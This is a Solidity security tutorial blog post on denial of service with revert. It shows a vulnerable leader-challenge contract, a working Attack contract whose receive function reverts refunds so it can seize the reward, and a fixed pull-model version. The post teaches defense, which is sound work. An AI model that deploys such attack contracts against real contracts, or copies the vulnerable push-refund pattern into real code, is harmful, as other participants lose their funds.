Contents

Solidity Security By Example #09: Denial of Service With Revert


Originally published in Valix Consulting’s Medium.

Smart contract security is one of the biggest impediments to the mass adoption of the blockchain. For this reason, we are proud to present this series of articles regarding Solidity smart contract security to educate and improve the knowledge in this domain to the public.

Denial of service with revert is often caused by a lack of understanding of how the Solidity smart contract works, resulting in the contract being exploited. This article will explain how a vulnerable smart contract can be attacked and how to prevent it. Enjoy reading. 😊

You can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/09_denial_of_service_with_revert.

Disclaimer:

The smart contracts in this article are used to demonstrate vulnerability issues only. Some contracts are vulnerable, some are simplified for minimal, some contain malicious code. Hence, do not use the source code in this article in your production.

Nonetheless, feel free to contact Valix Consulting for your smart contract consulting and auditing services. 🕵


Table of Contents


.    .    .

The Dependency


The following is the ReentrancyGuard abstract contract required by the InsecureWinnerTakesItAll and the FixedWinnerTakesItAll contracts.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
pragma solidity 0.8.19;

abstract contract ReentrancyGuard {
    bool internal locked;

    modifier noReentrant() {
        require(!locked, "No re-entrancy");
        locked = true;
        _;
        locked = false;
    }
}
Dependencies.sol


The ReentrancyGuard contains the noReentrant modifier that is used to prevent reentrancy attacks. The noReentrant (lines 6–11) is a simple lock that allows only a single entrance to the function applying it. If there is an attempt to do the reentrant, the transaction would be reverted by the require statement in line 7.


.    .    .

The Vulnerability


The following code presents the InsecureWinnerTakesItAll contract. This contract runs a challenge that allows anyone to execute the claimLeader function (lines 26–54) and supply some Ethers to claim the challenge leader.

Initially, the challenge would start with 10 Ethers provided by a contract owner as an initial reward (lines 16, 19, and 21). In addition to claiming the leader, a challenger must supply some Ethers more than the current leader’s deposit (line 29).

Once a new leader gets the throne, a previous leader will be deducted 10% from their deposit (line 41). In other words, a previous leader will receive only 90% of the deposit as a refund (line 51). 👌

The 10% deducted Ether funds will be accrued as the winner’s reward (lines 36–37 and 48–49). In a nutshell, the more challengers (and the more deposited Ether amounts), the more reward for the challenge winner. 💰💰💰

After the challenge period ends (line 58), the last leader will become the winner (line 59). Hence, the winner can claim their principal and challenge reward by invoking the claimPrincipalAndReward function (lines 57–69). 🗽

Of course, the InsecureWinnerTakesItAll contract is vulnerable. Can you spot the issue? 👀

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
pragma solidity 0.8.19;

import "./Dependencies.sol";

contract InsecureWinnerTakesItAll is ReentrancyGuard {
    address public currentleader;
    uint256 public lastDepositedAmount;

    uint256 public currentLeaderReward;
    uint256 public nextLeaderReward;

    bool public rewardClaimed;
    uint256 public immutable challengeEnd;

    constructor(uint256 _challengePeriod) payable {
        require(msg.value == 10 ether, "Require an initial 10 Ethers reward");

        currentleader = address(0);
        lastDepositedAmount = msg.value;
        currentLeaderReward = 0;
        nextLeaderReward = msg.value;
        rewardClaimed = false;
        challengeEnd = block.timestamp + _challengePeriod;
    }

    function claimLeader() external payable noReentrant {
        require(block.timestamp < challengeEnd, "Challenge is finished");
        require(msg.sender != currentleader, "You are the current leader");
        require(msg.value > lastDepositedAmount, "You must pay more than the current leader");

        if (currentleader == address(0)) {  // First claimer (no need to refund the initial reward)
            // Assign the new leader
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader
        }
        else {  // Next claimers
            // Refund the previous leader with 90% of his deposit
            uint256 refundAmount = lastDepositedAmount * 9 / 10;

            // Assign the new leader
            address prevLeader = currentleader;
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader

            (bool success, ) = prevLeader.call{value: refundAmount}("");
            require(success, "Failed to send Ether");
        }
    }

    // For the winner to claim principal and reward
    function claimPrincipalAndReward() external noReentrant {
        require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
        require(msg.sender == currentleader, "You are not the winner");
        require(!rewardClaimed, "Reward was claimed");

        rewardClaimed = true;

        // Transfer principal + reward to the winner
        uint256 amount = lastDepositedAmount + currentLeaderReward;

        (bool success, ) = currentleader.call{value: amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function isChallengeEnd() external view returns (bool) {
        return block.timestamp >= challengeEnd;
    }
}
InsecureWinnerTakesItAll.sol


The InsecureWinnerTakesItAll contract has a design flaw in line 51 in the claimLeader function.

The (bool success, ) = prevLeader.call{value: refundAmount}(“”); statement is hired to send an Ether refund back to a previous leader once a new leader claims the throne. We call an action of refunding the previous leader like this as a push model.

Nonetheless, using the push model in the claimLeader function opens room for an attacker to exploit the challenge with a denial-of-service (DoS) attack and take the reward easily. 🤔

Figure 1 below illustrates how an attacker permanently claims the leader using the DoS attack. 😧

Figure 1. How an attacker permanently claims the leader

Figure 1. How an attacker permanently claims the leader


With the push model in the claimLeader function, an attacker can deploy an Attack contract implementing a receive function. The receive function will revert the transaction upon receiving the Ether refund from the InsecureWinnerTakesItAll contract, as shown in Figure 1 above.

This way, the attacker can use the deployed Attack contract to execute the InsecureWinnerTakesItAll.claimLeader() function to take the lead. If other challengers try to claim the lead in place, the Attack.receive() function will revert their transactions (i.e., denial-of-service (DoS) attack). 😿

After the challenge period ends, the attacker will become the winner. He can obtain his principle and reward by executing the InsecureWinnerTakesItAll.claimPrincipalAndReward() function. 🙀


.    .    .

The Attack


The below code shows the Attack contract that an attacker can use to exploit the InsecureWinnerTakesItAll contract and seize the challenge reward as a profit.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
pragma solidity 0.8.19;

interface IWinnerTakesItAll {
    function claimLeader() external payable;
    function claimPrincipalAndReward() external;
    function isChallengeEnd() external view returns (bool);
}

contract Attack {
    address public immutable owner;
    IWinnerTakesItAll public immutable targetContract;

    constructor(IWinnerTakesItAll _targetContract) {
        owner = msg.sender;
        targetContract = _targetContract;
    }

    modifier onlyOwner() {
        require(owner == msg.sender, "You are not the owner");
        _;
    }

    receive() external payable {
        if (!targetContract.isChallengeEnd()) {
            // Revert a transaction if the challenge does not end
            revert();
        }
        // Receive the profit if the challenge ends
    }

    function attack() external payable onlyOwner {
        targetContract.claimLeader{value: msg.value}();
    }

    function claimPrincipalAndReward() external onlyOwner {
        targetContract.claimPrincipalAndReward();

        (bool success, ) = owner.call{value: address(this).balance}("");
        require(success, "Failed to send Ether");
    }
}
Attack.sol


To exploit the InsecureWinnerTakesItAll contract, the attacker performs the following attack steps.

  1. Deploy the Attack contract and supply the InsecureWinnerTakesItAll contract address as a target contract (lines 13–16).

  2. Execute the Attack.attack() function and provide enough Ethers for claiming the leader (lines 31–33).

  3. Wait for a challenge period to end, then invoke the Attack.claimPrincipalAndReward() function to obtain the principal and challenge reward (lines 35–40).


Note that, soon after a challenge period ends, the Attack.receive() function will unblock receiving Ethers from the InsecureWinnerTakesItAll contract (line 28).

Figure 2. The attack result

Figure 2. The attack result


The result of the attack is shown in Figure 2. The challenge period was 24 hours. As you can see, user #1 and user #2 were in the race to take the throne.

However, after the attacker joined the race, he permanently seized the throne. Every attempt to claim the throne back by user #1 and user #2 got reverted. 🤧

Once the challenge period ended, the attacker claimed the principal and challenge reward as a profit. 🤑🤑🤑


.    .    .

The Solution


The FixedWinnerTakesItAll contract below is the remediated version of the InsecureWinnerTakesItAll contract. 👨‍🔧

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
pragma solidity 0.8.19;

import "./Dependencies.sol";

// Preventive solution
//   -> Let users withdraw their Ethers instead of sending the Ethers to them (pull model)

contract FixedWinnerTakesItAll is ReentrancyGuard {
    address public currentleader;
    uint256 public lastDepositedAmount;

    mapping (address => uint256) public prevLeaderRefunds;  // FIX: For recording available refunds of all previous leaders

    uint256 public currentLeaderReward;
    uint256 public nextLeaderReward;

    bool public rewardClaimed;
    uint256 public immutable challengeEnd;

    constructor(uint256 _challengePeriod) payable {
        require(msg.value == 10 ether, "Require an initial 10 Ethers reward");

        currentleader = address(0);
        lastDepositedAmount = msg.value;
        currentLeaderReward = 0;
        nextLeaderReward = msg.value;
        rewardClaimed = false;
        challengeEnd = block.timestamp + _challengePeriod;
    }

    function claimLeader() external payable noReentrant {
        require(block.timestamp < challengeEnd, "Challenge is finished");
        require(msg.sender != currentleader, "You are the current leader");
        require(msg.value > lastDepositedAmount, "You must pay more than the current leader");

        if (currentleader == address(0)) {  // First claimer (no need to refund the initial reward)
            // Assign the new leader
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader
        }
        else {  // Next claimers
            // Refund the previous leader with 90% of his deposit
            uint256 refundAmount = lastDepositedAmount * 9 / 10;

            // Assign the new leader
            address prevLeader = currentleader;
            currentleader = msg.sender;
            lastDepositedAmount = msg.value;

            currentLeaderReward = nextLeaderReward;  // Accrue the reward
            nextLeaderReward += lastDepositedAmount / 10;  // Deduct 10% from the last deposited amount for the next leader

            // FIX: Record a refund for the previous leader
            prevLeaderRefunds[prevLeader] += refundAmount;
        }
    }

    // FIX: For previous leaders to claim their refunds
    function claimRefund() external noReentrant {
        uint256 refundAmount = prevLeaderRefunds[msg.sender];
        require(refundAmount != 0, "You have no refund");

        prevLeaderRefunds[msg.sender] = 0;

        (bool success, ) = msg.sender.call{value: refundAmount}("");
        require(success, "Failed to send Ether");
    }

    // For the winner to claim principal and reward
    function claimPrincipalAndReward() external noReentrant {
        require(block.timestamp >= challengeEnd, "Challenge is not finished yet");
        require(msg.sender == currentleader, "You are not the winner");
        require(!rewardClaimed, "Reward was claimed");

        rewardClaimed = true;

        // Transfer principal + reward to the winner
        uint256 amount = lastDepositedAmount + currentLeaderReward;

        (bool success, ) = currentleader.call{value: amount}("");
        require(success, "Failed to send Ether");
    }

    function getEtherBalance() external view returns (uint256) {
        return address(this).balance;
    }

    function isChallengeEnd() external view returns (bool) {
        return block.timestamp >= challengeEnd;
    }
}
FixedWinnerTakesItAll.sol


To fix the associated issue, we must redesign a new approach to refunding the deposited Ethers from the push to the pull model instead.

Specifically, all previous leaders have to call the FixedWinnerTakesItAll contract to withdraw their refunds themselves.

To achieve this, we introduce the mapping prevLeaderRefunds (line 12) for recording available refunds of all previous leaders. When a new leader claims the throne, the available refund amount of the previous leader will be updated by the following computation: prevLeaderRefunds[prevLeader] += refundAmount;, in line 57 in the claimLeader function.

All previous leaders can claim their refunds by invoking the claimRefund function (lines 62–70) anytime.

With the pull model of refunding the deposited Ethers, an attacker can no longer employ the Attack contract to exploit the challenge. 👍


.    .    .

Summary


In this article, you have learned how the improper push model of sending Ethers can lead to a denial-of-service (DoS) attack in the smart contract.

You have understood how an attacker exploits the vulnerable contract and how to fix the issue. Till we meet again.

Again, you can find all related source code at 👉 https://github.com/serial-coder/solidity-security-by-example/tree/main/09_denial_of_service_with_revert.


.    .    .

Author Details


Phuwanai Thummavet (serial-coder), Lead Blockchain Security Auditor and Consultant | Blockchain Architect and Developer.

See the author’s profile.


.    .    .

About Valix Consulting



Valix Consulting is a blockchain and smart contract security firm offering a wide range of cybersecurity consulting services. Our specialists, combined with technical expertise, industry knowledge, and support staff, strive to deliver consistently superior quality services.

For any business inquiries, please contact us via Twitter, Facebook, or info@valix.io.


.    .    .

Originally published in Valix Consulting’s Medium.